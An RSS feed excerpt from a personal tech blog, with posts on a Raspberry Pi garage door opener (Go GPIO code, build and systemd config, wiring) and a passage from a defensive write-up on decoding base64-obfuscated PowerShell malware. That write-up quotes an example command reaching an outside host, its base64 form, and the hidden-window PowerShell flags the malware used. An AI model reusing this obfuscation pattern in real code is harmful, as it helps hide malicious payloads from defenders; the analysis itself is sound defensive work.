	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	    &lt;span class=&quot;nb&quot;&gt;panic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;defer&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ln&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;nx&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Println&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;Listening for connections on TCP port &amp;lt;port&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;ServerConn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ln&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;nb&quot;&gt;panic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

		&lt;span class=&quot;k&quot;&gt;go&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parseInput&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ServerConn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// [snip]
&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;lsStat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nf&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#34;Opening\n&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;pin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rpio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Second&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;High&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Println&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;Attempted to OPEN left door, but it&amp;#39;s already opened&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;nf&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#34;Opened\n&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This instructs golang to use the rpio library to open connections to the header pins and begin a network listener on the defined port and run the program to parse it in a goroutine. Strictly not needed for such a simple program but I didn’t want it to hang/bottleneck resources for any reason either. The startup function sets the pins based on the GPIO numbers not the BCM physical layout. The &lt;code&gt;left_pin&lt;/code&gt; and &lt;code&gt;right_pin&lt;/code&gt; are for triggering the relay and thus the garage door opener to toggle. I explicitly set these to &lt;code&gt;output&lt;/code&gt; mode as they will be sending a signal to the relay. The &lt;code&gt;ldoor&lt;/code&gt; and &lt;code&gt;rdoor&lt;/code&gt; are the sensor wires and we change those to an &lt;code&gt;input&lt;/code&gt; status, as we’ll only be reading from them not triggering them. The final bit of code is from a larger function called &lt;code&gt;parseinput&lt;/code&gt; that the goroutine feeds into. Here, I literally validate and ‘parse’ the input received from the network connection.&lt;/p&gt;

&lt;p&gt;I also set the input pin states in the &lt;code&gt;startup()&lt;/code&gt; function to &lt;code&gt;pull up&lt;/code&gt;. This is so they register correctly as the open/close status for the sensors. In the code below that, I checking the current status of the left door and making sure it is actually closed before trying to trigger an open. This is because I don’t really do any other processing to remember the state of the door being opened or closed and trust the Seco-Larm sensors current reading to determine such. Once that checks out I toggle the gpio pin associated with the relay in order to action it! There are additional handling for the right door and for checking the current status of both. That’s about all there is to the golang program. Listen for incoming network connections, do something with them, and let the network caller know we did something with it.&lt;/p&gt;

&lt;p&gt;This code, once tested and compiled, then lives on the R-PI awaiting verified instructions. I use &lt;a href=&quot;https://goreleaser.com&quot;&gt;GoReleaser&lt;/a&gt; to handle the versioning and making the build process very streamlined. After tagging a release ready to build, and configuring the &lt;code&gt;.goreleaser.yml&lt;/code&gt; with the following:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;&lt;span class=&quot;nt&quot;&gt;builds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;&lt;/span&gt;- &lt;span class=&quot;nt&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;  &lt;/span&gt;- &lt;span class=&quot;l&quot;&gt;CGO_ENABLED=0&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;goos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;    &lt;/span&gt;- &lt;span class=&quot;l&quot;&gt;linux&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;goarch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;    &lt;/span&gt;- &lt;span class=&quot;l&quot;&gt;arm&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We push the changes to git and run goreleaser. This makes a changelog and build artifacts for releases of the newer version automatically compiled for the R-PI. Then I copy that over and start it up. I have a systemd service handling the start/stop of the golang program, set to start when the system is booted. That handles a PI restart and hopefully keeps it accessible.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;&lt;span class=&quot;k&quot;&gt;[Unit]&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Description&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Godor - Garage Door GPIO&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;StartLimitIntervalSec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Wants&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;network-online.target&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;[Service]&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;simple&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Restart&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;always&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;RestartSec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;5&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;godor&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Group&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;godor&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;WorkingDirectory&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/home/godor&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;ExecStart&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/usr/bin/godor&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;[Install]&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;WantedBy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;default.target&lt;/span&gt;

&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Finale&lt;/h3&gt;

&lt;p&gt;There it is! Raspberry-PI connected to physical garage door openers, while listening on the network and via SMS for instructions. SMS -&amp;gt; Web -&amp;gt; executable -&amp;gt; physical connections. Much more reliable than the battery operated dongles we had. In the past year of operating, only a few issues but nothing show stopping or major. The major issue currently seems to be when SMS traffic on the network is very high, the Godor SMS won’t be received and thus the physical door not opened or closed. This doesn’t happen often, but as with all network connected applications, it’s something to be wary of and build accordingly for. Mine is a ‘fail-close’ system, so in the case of power outage causing restart or no connection at all, the golang program will trigger a close and keep the garage doors closed.  There are a few other failsafes in place but nothing 100% concrete when relying on this sort of setup.&lt;/p&gt;
</description></item><item><title>Raspberry PI garage door opener - Part 1</title><link>https://blog.penguincoder.com/garage-opener-1/</link><guid>https://blog.penguincoder.com/garage-opener-1/</guid><pubDate>01 Sep 2021 00:00 +0000</pubDate><description>&lt;p&gt;I’ve been meaning to write up this post for a year or so, but it’s gotten away from me. This is about a project I created to replace a physical garage door opener, with &lt;strong&gt;technology&lt;/strong&gt;. I’m an avid self-hoster and automation nerd; raspberry-pi’s fit into a lot of projects I do. So I set out to use one as a garage door opener with more control. Sort of self-hosted, do-it-yourself, remotely accessible garage door opener project! This isn’t entirely self-hosted, only about 95% so. But it was definitely a learning experience, a lot of fun, and practical!&lt;/p&gt;

&lt;p&gt;I’m not going to explain how to setup the Raspberry PI with an OS or what a GPIO pin is. This is a brain dump on what I did to achieve my project goals.&lt;/p&gt;

&lt;h3&gt;Project purpose&lt;/h3&gt;

&lt;p&gt;I was tired of replacing the batteries in our garage door openers and wanted to find a better solution. My goals were to be able to open the garage doors from my phone easily and without third-party subscription based service. Of course I thought about using a raspberry-pi to control the garage doors I have, while being remotely accessible. This led me down a lot of rabbit holes and different levels of connectivity or solutions. You can find a lot of projects through your &lt;a href=&quot;https://duckduckgo.com/?q=raspberry+pi+garage+door+opener&quot;&gt;favorite search engine&lt;/a&gt;, but I didn’t want a pre-made solution or one that was tied to a 3rd party vendor at a yearly subscription cost. Although I did review a few of those for ideas and pitfalls, I still wanted to create my own and ideally as fully self-hosted as possible. Because part of the goals of the project were to be remotely accessible and via SMS, I couldn’t rely on a 100% self hosted solution.&lt;/p&gt;

&lt;p&gt;The plan to achieve it was thus: Setup and configure a raspberry pi with a base/lite OS. Hook up GPIO pins to a relay to control signal to the garage door opener buttons. Attach a sensor to the garage door to determine if its open or closed, reporting to the r-pi. Ensure the r-pi opener works locally and then configure remote SMS control. The remote SMS based control was crucial to actually have a usable system. This enables the family to open or close the garage door from their phone as needed, instead of finding out the opener battery is dead. Again.&lt;/p&gt;

&lt;h3&gt;Components&lt;/h3&gt;

&lt;p&gt;These are the parts I used after researching and planning:&lt;/p&gt;

&lt;h5&gt;Hardware&lt;/h5&gt;

&lt;ul&gt;
&lt;li&gt;1 Raspberry PI Zero W&lt;/li&gt;
&lt;li&gt;2 Seco-Larm SM-226L-Q&lt;/li&gt;
&lt;li&gt;1 sainsmart two channel DC 5V Relay Module&lt;/li&gt;
&lt;li&gt;1 pkg female to female jumper wires&lt;/li&gt;
&lt;li&gt;100 ft &lt;sup&gt;20&lt;/sup&gt;⁄&lt;sub&gt;2&lt;/sub&gt; residential bell wire&lt;/li&gt;
&lt;li&gt;2 existing Chamberlin garage door openers&lt;/li&gt;
&lt;li&gt;wire nuts and electrical tape&lt;/li&gt;
&lt;/ul&gt;

&lt;h5&gt;Software&lt;/h5&gt;

&lt;ul&gt;
&lt;li&gt;Custom golang processing program&lt;/li&gt;
&lt;li&gt;SMS gateway - SignalWire&lt;/li&gt;
&lt;li&gt;PHP script for web page&lt;/li&gt;
&lt;li&gt;Nginx web server&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The garage doors themselves, openers and interior garage buttons were already there; didn’t need to buy anything for that! Just a matter of wiring up the PI and relay to the interior buttons.&lt;/p&gt;

&lt;h3&gt;Setting up the hardware&lt;/h3&gt;

&lt;p&gt;First things first I had to make sure all the hardware works and install the sensors/wires for them. I chose to install the Seco-Larm SM-226LQ sensors which are closed loop magnetic proximity sensors. Closed loop just means it can signal state without any human intervention or manual input. This is the two wire model, the ground wire and the ‘signaling’ wire that will report the status of the sensor. When the circuit is closed, the sensors are close together. Circuit open/broken and the sensors are farther apart. This translate to the garage door being open &lt;em&gt;(further apart)&lt;/em&gt; or closed &lt;em&gt;(closed ciruit)&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The sensor came with a metal L bracket that I screwed into the top of the garage door to afix the magnet.&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;center&gt;
    &lt;figure&gt;
       &lt;a href=&quot;images/seco_sensor.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/seco_sensor.jpg&quot;/&gt;&lt;/a&gt;
       &lt;figcaption&gt;Seco sensor attached to door and frame&lt;/figcaption&gt;
       &lt;a href=&quot;images/sensor_mounted.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/sensor_mounted.jpg&quot;/&gt;&lt;/a&gt;
       &lt;figcaption&gt;Wire attachment and run&lt;/figcaption&gt;
    &lt;/figure&gt;
&lt;/center&gt;&lt;p&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;The contacts are real close in this picture but you don’t need them so close or even touching. The Seco-Larm can register the circuit change at about &lt;strong&gt;two inches&lt;/strong&gt; apart! After placing the sensors it was just a matter of attaching the wires to the proper places. For the wires coming out of the Seco-Larm, black is the ground, green wire is the one that goes low if the circuit is closed and goes high if it is open. Basically, voltage on or off. I used the &lt;sup&gt;20&lt;/sup&gt;⁄&lt;sub&gt;2&lt;/sub&gt; bell wiring to extend the sensor wires to where they needed to be, ending at the location of where the R-PI will be stationed. Then spliced the wire from the sensors into a f-to-f jumper wire so at the next step I could attach them to the GPIO pins on the pi. Next step was to attach some more bell wire to the interior garage door opener buttons and run them to the 2-channel relay. The relay is what’s actually responsible for triggering the garage door opener after it gets the signal from the pi. One relay goes to the door opener on the left and one goes to the right.&lt;/p&gt;

&lt;p&gt;The garage door opener mounted in the garage is easy to remove. On the back &lt;em&gt;not shown&lt;/em&gt; are two screws with the existing wires wrapped around them. The new wires just need to be wrapped around the screws and then tightened down. Essentially pigging backing the wires in the same space as the existing wires. In my testing it didn’t matter which one was the red or white wire so I didn’t bother to voltage test. When triggered, as long as the circuit was complete, it works.&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;center&gt;
    &lt;figure&gt;
      &lt;a href=&quot;images/relay.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/relay.jpg&quot;/&gt;&lt;/a&gt;
       &lt;figcaption&gt;Wired up 2-channel relay&lt;/figcaption&gt;
      &lt;a href=&quot;images/door_opener.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/door_opener.jpg&quot;/&gt;&lt;/a&gt;
       &lt;figcaption&gt;Other end of relay wiring into door opener&lt;/figcaption&gt;
    &lt;/figure&gt;
&lt;/center&gt;&lt;p&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;In this manner, you can still push the interior button to trigger the garage door to open or close while the pi and relay can do the same when told to! The wires in the above image going UP are to the relay, the ones to the left are to the garage door opener itself. Final steps for ths part are to attach the wires from the sensors and relay to the R-PI GPIO pins in the proper locations.
&lt;/p&gt;&lt;center&gt;
    &lt;figure&gt;
      &lt;a href=&quot;images/pinout.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/pinout.png&quot;/&gt;&lt;/a&gt;
       &lt;figcaption&gt;GPIO Pinouts from pinout.xyz&lt;/figcaption&gt;
    &lt;/figure&gt;
&lt;/center&gt;&lt;p&gt;&lt;/p&gt;

&lt;p&gt;For each of the wires you have to splice them into a female jumper in order to get them attached securely to the RPI. The relay itself needs 5v power from the PI. I used physical pin 2 connected to the power jumper on the relay for this. Next the wires to actual trigger the relay, one for each relay to the board. I used physical pin 7 (GPIO 4) and the ground next to it for one and physical pin 40 (GPIO 21) for the other. I wanted them to be as far apart as possible to prevent crosstalk triggering inadvertently. Then I connected the sensor wires, phyiscal pin 13 and the ground next to it and physical pin 33 and the ground next to it. When referencing the pins from the software it uses the GPIO numbers and not the physical pin numbers. The above image is what I used to cross reference those numbers.&lt;/p&gt;

&lt;p&gt;Connecting the wires from the Raspberry Pi to the relay is straightforward as well. Making sure to note wich RPI GPIO is for which ‘side’, connect the other end of the wire into the relay jumper for that door. On the module those signaling jumpers are labeled &lt;code&gt;IN1&lt;/code&gt;, and &lt;code&gt;IN2&lt;/code&gt;. Then run a wire from the &lt;code&gt;GND&lt;/code&gt; on the relay to a Ground pin on the pi and connect the &lt;code&gt;VCC&lt;/code&gt; pin to a 5V power pin; I used pin 2 on PI. That’s it! The pi should send power to the relay and signal it properly when the GPIO triggers.&lt;/p&gt;

&lt;h2&gt;Next time on …&lt;/h2&gt;

&lt;p&gt;That’s it for the hardware side of things. In the next post I’ll go over the software creation and process of connecting all the &lt;a href=&quot;/garage-opener-2&quot;&gt;pieces together&lt;/a&gt;.
&lt;/p&gt;&lt;center&gt;
    &lt;figure&gt;
      &lt;a href=&quot;images/hardware.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/hardware.jpg&quot;/&gt;&lt;/a&gt;
       &lt;figcaption&gt;Hardware wired up and awaiting input&lt;/figcaption&gt;
    &lt;/figure&gt;
&lt;/center&gt;
 &lt;p&gt;&lt;/p&gt;
</description></item><item><title>Obfuscated cG93ZXJzaGVsbA==</title><link>https://blog.penguincoder.com/obfuscated-powershell/</link><guid>https://blog.penguincoder.com/obfuscated-powershell/</guid><pubDate>10 Dec 2020 00:00 +0000</pubDate><description>&lt;p&gt;Powershell; simply obfuscated. That’s all this headline and post is about. Really.&lt;/p&gt;

&lt;p&gt;The encoding for the header is base64, which &lt;a href=&quot;https://en.wikipedia.org/wiki/Base64&quot;&gt;wikipedia defines&lt;/a&gt; as:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;a group of binary-to-text encoding schemes that represent binary data (more specifically a sequence of 8-bit bytes) in an ASCII string format by translating it into a radix-64 representation&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Simply put, this is a method of translating arbritrary data to typeable characters. It is often used to transmit data ‘blobs’ between systems where only typeable characters are allowed, and binary data is not. One of the most widely used implementations is in SMTP, for transferring email attachments. The second is probably for malicious purposes.&lt;/p&gt;

&lt;h2&gt;Encoding and obfuscation&lt;/h2&gt;

&lt;p&gt;Since base64 can represent binary data &lt;em&gt;(maybe not entirely efficiently)&lt;/em&gt; with ASCII characters, it can be used to obfuscate or hide malicious payloads. Instead of writing &lt;code&gt;exec(&amp;#39;ssh randomspammerdomain.com&amp;#39;)&lt;/code&gt; an attacker could try to obfuscate the command with base64, which becomes &lt;code&gt;ZXhlYygnc3NoIHJhbmRvbXNwYW1tZXJkb21haW4uY29tJyk=&lt;/code&gt;. The first can be trivially observed by automated defenses or a human analyst and would be quickly stopped. The second command, you can’t easily tell what it does and likely wouldn’t be able to write automated defenses to stop it. This is because base64 is again, an ASCII text encoding &lt;em&gt;(typically, keyboard typeable characters)&lt;/em&gt; representation.&lt;/p&gt;

&lt;p&gt;Simple string matching signatures would create too many false positives or stop legitimate script executions. &lt;em&gt;NOTE: Entropy or heurestic based analysis is a different solution&lt;/em&gt;. Base64 is reversiable and in fact is trivial to reverse. It is &lt;strong&gt;not encryption&lt;/strong&gt;, and it’s &lt;strong&gt;not a one-way hash&lt;/strong&gt;. The problem that base64 is trying to solve, isn’t to hide sensitive data or make it unrecoverable. Malicious actors use it for obfuscation, just a way to hide the payloads from detection, or to get complex data transmitted to another system.&lt;/p&gt;

&lt;h2&gt;Maliciousness&lt;/h2&gt;

&lt;p&gt;A friend came to me recently asking if I could look at his old computer. He had put it up a few years ago when he purchased a newer better one, because this old one was running slow. Now, he was looking to gift the computer to a younger relative, but wanted to fix it first. Simple fix of course would be entirely wipe the machine and re-install an OS. We both wanted to know &lt;em&gt;why&lt;/em&gt; it was running slow though, so I started poking around on it. The TLDR version is, it had some malware on it! Well, a lot of malware and malicious items, but I wanted to focus on this one for a write up.&lt;/p&gt;

&lt;p&gt;Looking over some of the autoruns services and scheduled tasks, I noticed a seemingly randomly named task &lt;code&gt;WdHJ3Z3vTR&lt;/code&gt; with the following &lt;em&gt;(slightly altered)&lt;/em&gt; payload to execute on boot:
&lt;/p&gt;&lt;center&gt;
   &lt;a href=&quot;images/exec_ps.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/exec_ps.png&quot;/&gt;&lt;/a&gt;
&lt;/center&gt;&lt;p&gt;&lt;/p&gt;

&lt;p&gt;WOAH! Now that surely isn’t a legitimate use of powershell! But, what is it doing and how?&lt;/p&gt;

&lt;p&gt;It’s starting a commandline process and passing arguments in to startup a powershell interpreter. Then there’s a whole mess commands passing high entropy string to be executed. High entropy by itself doesn’t mean the code is malicious, but here’s a few things about this that standout particularly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;powershell arguments for &lt;code&gt;-noni -nop -w hidden -c&lt;/code&gt;  &lt;em&gt;run a command in a hidden window, non interactively, and not loading profile scripts&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;System.IO.StreamReader(New-Object System.IO.Compression.GzipStream &lt;em&gt;create a stream reader from a GZIP compressed input&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;System.IO.MemoryStream &lt;em&gt;load the following into memory stream, don’t write it to disk&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;[System.Convert]::FromBase64String &lt;em&gt;input is in encoded format, base64 string&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;UseShellExecute =False &lt;em&gt;execute the command as it’s own process&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With all of these combined aspects, you can be pretty sure we have some maliciousness going on&lt;/p&gt;

&lt;h2&gt;Deobfuscation of powershell, on Linux&lt;/h2&gt;

&lt;h3&gt;First&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;“WAIT!”&lt;/em&gt;, I hear some people saying… I thought this blog was about Linux, why are you talking about powershell? Well, it’s also &lt;a href=&quot;https://blog.penguincoder.com/about/&quot;&gt;about&lt;/a&gt; information security and how I’ve overcome particular problems I’ve encountered. So we’re going to dissect this problem on the command line.&lt;/p&gt;

&lt;p&gt;First, we need to take that base64string from the scheduled task and decode it. On the Linux command line, use your favorite text editor and write the base64string to a file. Then, use the &lt;code&gt;base64 -d &amp;lt;file&amp;gt;&lt;/code&gt; command to unencode.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;$ base64 -d task_b64 &amp;gt; decoded
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If you try and view the decoded file now, it’ll be a mess of characters that don’t make any sense and likely mess up your terminal. That’s fine.. just type &lt;code&gt;reset&lt;/code&gt; and press enter. This happens because the decoded stream is data, not text! Looking at the task again for hints, we need to take into account another part: &lt;code&gt;System.IO.Compression.GzipStream&lt;/code&gt;. The decoded base64 string gets passed into a GZIP object, and decompressed. On the cli, lets test that with the following command:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;$ file decoded
decoded: gzip compressed data, last modified: &amp;lt;snip&amp;gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This confirms it is gzip compressed, though doesn’t tell us if it’s actually valid. Lets try and decompress it further and take a look.&lt;/p&gt;

&lt;h3&gt;Second&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;$ gunzip &amp;lt; decoded &amp;gt; secondstage
$ vim secondstage
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;/p&gt;&lt;center&gt;
